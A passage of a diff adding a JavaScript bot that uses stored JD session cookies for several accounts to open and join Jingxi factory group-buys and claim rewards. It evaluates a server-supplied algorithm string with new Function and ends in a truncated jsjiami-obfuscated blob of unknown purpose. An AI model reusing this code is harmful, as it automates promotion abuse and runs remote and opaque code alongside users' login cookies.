t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜工厂开团'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openTuanCK = $.isNode() ? (process.env.OPEN_DREAMFACTORY_TUAN ? process.env.OPEN_DREAMFACTORY_TUAN : '1'):'1'; +const helpFlag = false;//是否参考作者团 +let tuanActiveId = ``; +let cookiesArr = [], cookie = '', message = ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + let openTuanCKList = openTuanCK.split(','); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await getTuanActiveId(); + if(!tuanActiveId){console.log(`未能获取到有效的团活动ID`);return ;} + //let nowTime = getCurrDate(); + // let jdFactoryTime = $.getdata('jdFactoryTime'); + // if (!jdFactoryTime || nowTime !== jdFactoryTime) {$.setdata(nowTime, 'jdFactoryTime');$.setdata({}, 'jdFactoryHelpList');} + // $.jdFactoryHelpList = $.getdata('jdFactoryHelpList'); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let runFlag = true; + for (let i = 0; i < cookiesArr.length; i++) { + if(!openTuanCKList.includes((i+1).toString())){ + continue; + } + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) {await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);} + runFlag = false; + continue; + } + await jdDreamFactoryTuan(); + } + } + if(!runFlag){ + console.log(`需要开团的CK已过期,请更新CK后重新执行脚本`); + return; + } + console.log(`\n===============开始账号内参团===================`); + console.log('获取到的内部团ID'+`${$.tuanIds}\n`); + //打乱CK,再进行参团 + if (!Array.prototype.derangedArray) {Array.prototype.derangedArray = function() {for(var j, x, i = this.length; i; j = parseInt(Math.random() * i), x = this[--i], this[i] = this[j], this[j] = x);return this;};} + cookiesArr.derangedArray(); + for (let i = 0; i < cookiesArr.length && $.tuanIds.length>0; i++) { + if (cookiesArr[i]) { + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // if($.jdFactoryHelpList[$.UserName]){ + // console.log(`${$.UserName},参团次数已用完`) + // continue; + // } + $.isLogin = true; + $.canHelp = true;//能否参团 + await TotalBean(); + if (!$.isLogin) {continue;} + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + for (let j = 0; j < $.tuanIds.length; j++) { + let item = $.tuanIds[j]; + $.tuanMax = false; + if (!$.canHelp) break; + console.log(`账号${$.UserName} 去参加团 ${item}`); + await JoinTuan(item); + await $.wait(2000); + if($.tuanMax){$.tuanIds.shift();j--;} + } + } + } + } + let res = []; + if(helpFlag){ + res = await getAuthorShareCode(''); + if(!res){ + res = []; + } + if(res.length === 0){ + return ; + } + console.log(`\n===============开始助力作者团===================`); + let thisTuanID = getRandomArrayElements(res, 1)[0]; + $.tuanMax = false; + for (let i = 0; i < cookiesArr.length && !$.tuanMax; i++) { + if(openTuanCKList.includes((i+1).toString())){ + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`账号${$.UserName} 去参加作者团: ${thisTuanID}`); + await JoinTuan(thisTuanID); + await $.wait(2000); + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function jdDreamFactoryTuan() {try {await userInfo();await tuanActivity();} catch (e) {$.logErr(e);}} + +async function getTuanActiveId() { + const method = `GET`; + let headers = {}; + let myRequest = {url: 'https://st.jingxi.com/pingou/dream_factory/index.html', method: method, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/); + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if (new Date(item.end).getTime() > Date.now()) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n获取团活动ID成功: ${link.match(/activeId=(.*),/)[1]}\n有效时段:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else { + tuanActiveId = ''; + } + } + } + } + } catch (e) { + console.log(data);$.logErr(e, resp); + } finally {resolve();} + }) + }) +} + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + }; + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }); + await $.wait(10000); + resolve(); + }) +} +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const factory = data.factoryList[0]; + $.factoryId = factory.factoryId;//工厂ID + $.encryptPin = data.user.encryptPin; + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + }else{ + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } + } +} +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`开团成功tuanId为:${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if(data['ret'] === 10209){ + $.tuanMax = true; + console.log(`参团失败:${JSON.stringify(data)}\n`); + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = {"url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,"headers": {"Accept": "application/json,text/plain, */*","Content-Type": "application/x-www-form-urlencoded","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": cookie,"Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2","User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1"}}; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) {data = JSON.parse(data);if (data['retcode'] === 13) { $.isLogin = false;}if (data['retcode'] === 0) {$.nickName = (data['base'] && data['base'].nickname) || $.UserName;} else {$.nickName = $.UserName;}} else {console.log(`京东服务器返回空数据`)} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) {var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;while (i-- > min) {index = Math.floor((i + 1) * Math.random());temp = shuffled[index];shuffled[index] = shuffled[i];shuffled[i] = temp;}return shuffled.slice(min);} +function getCurrDate() {let date = new Date();let sep = "-";let year = date.getFullYear();let month = date.getMonth() + 1;let day = date.getDate();if (month <= 9) {month = "0" + month;}if (day <= 9) {day = "0" + day;}return year + sep + month + sep + day;} +function safeGet(data) {try {if (typeof JSON.parse(data) == "object") {return true;}} catch (e) {console.log(e);console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);return false;}} +function taskTuanUrl(functionId, body = '', stk) {let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {"Accept": "*/*","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": cookie,"Host": "m.jingxi.com","Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html","User-Agent": "jdpingou"}}} +function taskurl(functionId, body = '', stk) {let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk, '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {'Cookie': cookie,'Host': 'm.jingxi.com','Accept': '*/*','Connection': 'keep-alive','User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou','Accept-Language': 'zh-cn','Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html','Accept-Encoding': 'gzip, deflate, br',}}} +Date.prototype.Format = function (fmt) {var e,n = this, d = fmt, l = {"M+": n.getMonth() + 1,"d+": n.getDate(),"D+": n.getDate(),"h+": n.getHours(),"H+": n.getHours(),"m+": n.getMinutes(),"s+": n.getSeconds(),"w+": n.getDay(),"q+": Math.floor((n.getMonth() + 3) / 3),"S+": n.getMilliseconds()};/(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length)));for (var k in l) {if (new RegExp("(".concat(k, ")")).test(d)) {var t, a = "S+" === k ? "000" : "00";d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length));}}return d;}; +function jsonParse(str) {if (typeof str == "string") {try {return JSON.parse(str);} catch (e) {console.log(e);$.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie');return [];}}} +async function requestAlgo() {$.fingerprint = await generateFp();const options = {"url": `https://cactus.jd.com/request_algo?g_ty=ajax`,"headers": {'Authority': 'cactus.jd.com','Pragma': 'no-cache','Cache-Control': 'no-cache','Accept': 'application/json','User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1','Content-Type': 'application/json','Origin': 'https://st.jingxi.com','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://st.jingxi.com/','Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7'},'body': JSON.stringify({"version": "1.0","fp": $.fingerprint,"appId": $.appId.toString(),"timestamp": Date.now(),"platform": "web","expandParams": ""})};new Promise(async resolve => {$.post(options, (err, resp, data) => {try {if (err) {console.log(`${JSON.stringify(err)}`);console.log(`request_algo 签名参数API请求失败,请检查网路重试`)} else {if (data) {data = JSON.parse(data);if (data['status'] === 200) {$.token = data.data.result.tk;let enCryptMethodJDString = data.data.result.algo;if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)();} else {console.log('request_algo 签名参数API请求失败:');}} else {console.log(`京东服务器返回空数据`);}}} catch (e) {$.logErr(e, resp);} finally {resolve();}})});} +function decrypt(time, stk, type, url) {stk = stk || (url ? getUrlData(url, '_stk') : '');if (stk) {const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS");let hash1 = '';if ($.fingerprint && $.token && $.enCryptMethodJD) {hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex);} else {const random = '5gkjB6SpmC9s';$.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`;$.fingerprint = 5287160221454703;const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`;hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex);}let st = '';stk.split(',').map((item, index) => {st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`;});const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex);return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";"));} else {return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d';}} +function getUrlData(url, name) {if (typeof URL !== "undefined") {let urls = new URL(url);let data = urls.searchParams.get(name);return data ? data : '';} else {const query = url.match(/\?.*/)[0].substring(1);const vars = query.split('&');for (let i = 0; i < vars.length; i++) {const pair = vars[i].split('=');if (pair[0] === name) {return vars[i].substr(vars[i].indexOf('=') + 1);}}return '';}} +function generateFp() {let e = "0123456789";let a = 13;let i = '';for (; a--; ) i += e[Math.random() * e.length | 0];return (i + Date.now()).slice(0,16)} +var _0xodT='jsjiami.com.v6',_0x1c2f=[_0xodT,'wpnCon4=','Z8OwE8KCwqPDgMKuwq89SyjCt2Y=','w5kfbw/Dlw==','w5DCqcKUIcOuwrzCgT7CvyPDuMKZw7o=','JcKtwqXCk0HCpw==','w6jDg8KDw6F4','w4bCq8K/w5nDhQ==','LQLCtMOPwqpoG8KGO8O9UsOGKQ==','wr7Cs8K1','w5DCqcKUIcOuwrzCgT7CvzvDuMKYw7o=','w5oNwofDlXc=','OAXCmQ==','w5/CmC06wo9TRMOUeEHCn8K7UQ==','NsOhw7oVAi4=','wrzCuMK3','D8KGwpvCn1Y=','w4PCvQE9wrw=','wrM5A29W','XMOXA8OUwr4=','wpLCo3huw68=','w6rDisKiw5J3','GsOyw5HDviE=','w4TDjC4xKQ==','w5s4wqxyLg==','wrBcCsKPZw==','wq1XVl7Dsw==','w4wrwrVtMQ==','Ny7DkCM1','wrXClkrCqH4=','fcOPOcKiwrc=','fcKCdcOmfA==','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